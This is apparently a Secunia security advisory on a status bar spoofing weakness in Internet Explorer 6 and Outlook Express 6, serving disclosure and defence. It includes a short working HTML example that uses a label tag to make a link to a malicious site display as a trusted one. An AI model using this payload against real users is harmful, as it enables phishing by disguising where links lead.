TITLE:
Internet Explorer/Outlook Express Status Bar Spoofing

SECUNIA ADVISORY ID:
SA14304

VERIFY ADVISORY:
http://secunia.com/advisories/14304/

CRITICAL:
Not critical

IMPACT:
Security Bypass

WHERE:
From remote

SOFTWARE:
Microsoft Outlook Express 6
http://secunia.com/product/102/
Microsoft Internet Explorer 6
http://secunia.com/product/11/

DESCRIPTION:
bitlance winter has discovered a weakness in Internet
Explorer/Outlook Express, which can be exploited by malicious people
to trick users into visiting a malicious web site by obfuscating
URLs.

It is by default possible for script code to manipulate information
displayed in the status bar. However, an error allows manipulation of
the status bar without using any script code (e.g. in the "Restricted
sites" zone).

This can be exploited by including a "label" tag for a link, which
manipulates the link's appearance via some specially crafted HTML
code.

This weakness is a variant of:
SA11273
SA11582
SA13015

Example:
<p><a id="SPOOF" href="[malicious_site]"></a></p>
<div>
<a href="[trusted_site]">
<table>
<caption>
<a href="[trusted_site]">
<label for="SPOOF">
<u style="cursor: pointer; color: blue">
[trusted_site]
</u>
</label>
</a>
</caption>
</table>
</a>
</div>

The weakness has been confirmed in version 6.0 on a fully patched
system running Windows XP with SP2 installed. Other versions may also
be affected.

SOLUTION:
Never follow links from untrusted sources.
